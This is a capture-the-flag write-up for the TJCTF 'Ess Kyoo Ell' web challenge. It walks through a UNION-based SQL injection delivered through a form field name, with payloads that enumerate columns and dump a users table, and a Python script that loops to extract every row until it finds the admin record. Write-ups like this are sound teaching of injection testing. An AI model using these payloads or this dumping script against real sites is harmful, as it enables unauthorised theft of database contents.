Tags: web sqli
Rating:
## 40 - Ess Kyoo Ell - Web
> *Written by okulkarni*
>
> Find the IP address of the admin user! (flag is tjctf{[ip]})
>
> https://ess-kyoo-ell.tjctf.org/
First I tried to send normal data in the form and I got the following error: *This is what I got about you from the database: no such column: password*.
It seems weird and it sounds like a SQLi.
Trying to inject the POST parameters value doesn't work so I tried to inject the key instead, as suggested by the the error message.
So I replaced `password` with `'` (a simple quote).
![](http://i.imgur.com/9VHuzkF.png)
The server answered another error message: *'NoneType' object is not iterable*.
This seems like a python error message, so the web server backend should be using python.
Then I tried a UNION-based injection: `'%20UNION%20SELECT%201--%20-` (`' UNION SELECT 1-- -`)
![](http://i.imgur.com/l4yxw2S.png)
I got *SELECTs to the left and right of UNION do not have the same number of result columns*.
1. Now we are pretty sure we have a SQL injection.
2. We can continue to add `1,` to discover the number of columns, because I'm curious
Finaly I went up to 7 columns to stop getting an error: `'%20UNION%20SELECT%201,1,1,1,1,1,1--%20-` (`' UNION SELECT 1,1,1,1,1,1,1-- -`)
Now we have this cute JSON output leaking all the columns:
![](http://i.imgur.com/8DcZFZD.png)
`{'id': 1, 'username': 1, 'first_name': 1, 'last_name': 1, 'email': 1, 'gender': 1, 'ip_address': 1}`
Finding the number of columns was not required, this works too: `'%20UNION%20SELECT%20*%20from users--%20-` (`' UNION SELECT * from users-- -`)
**Note**: finding the table `users` was just some easy guessing.
![](http://i.imgur.com/mTV657O.png)
Hey! We leaked an user account!
We can iterate with `'%20UNION%20SELECT%20*%20from users limit 1 offset 1--%20-` (`' UNION SELECT * from users limit 1 offset 1-- -`)
Now we have to choices: First we can continue to iterate to dump the whole database until we find the username `admin`, like I did with this python script:
```python
import requests
from bs4 import BeautifulSoup
import json
import re
import ast
burp0_url = "https://ess-kyoo-ell.tjctf.org:443/"
burp0_cookies = {"__cfduid": "d964d07a476f4e291ef50328373ec7b931533661597"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://ess-kyoo-ell.tjctf.org/", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
for x in range(0, 1000):
burp0_data={"' UNION SELECT *from users limit 1 offset %i-- -" % x : "a"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
html = BeautifulSoup(res.text, 'html.parser')
for p in html.select('p'):
if p['id'] == 'profile-name':
regex = r"This is what I got about you from the database: ({.*})"
if re.search(regex, p.text):
match = re.search(regex, p.text)
json_data = match.group(1)
# json with single quote delimiter to dict
json_data = ast.literal_eval(json_data)
# dict to json string with double quote
json_data = json.dumps(json_data)
# json string with double quote to json object
data = json.loads(json_data)
if re.search(r".*admin.*",data['username']):
#print(data['username']+' : '+ data['ip_address'])
print(json_data)
```
Or instead of dumping the whole database that is much more work and cost much more time, we could have just used `'%20UNION%20SELECT%20*%20from%20users%20where%20username%3d"admin"--%20-` (`' UNION SELECT * from users where username="admin"-- -`) to find the admin user directly.
In both cases we get only one result:
`{"id": 706, "username": "admin", "first_name": "Administrative", "last_name": "User", "email": "[email\u00a0protected]", "gender": "Female", "ip_address": "145.3.1.213"}`
So the flag is: `tjctf{145.3.1.213}`.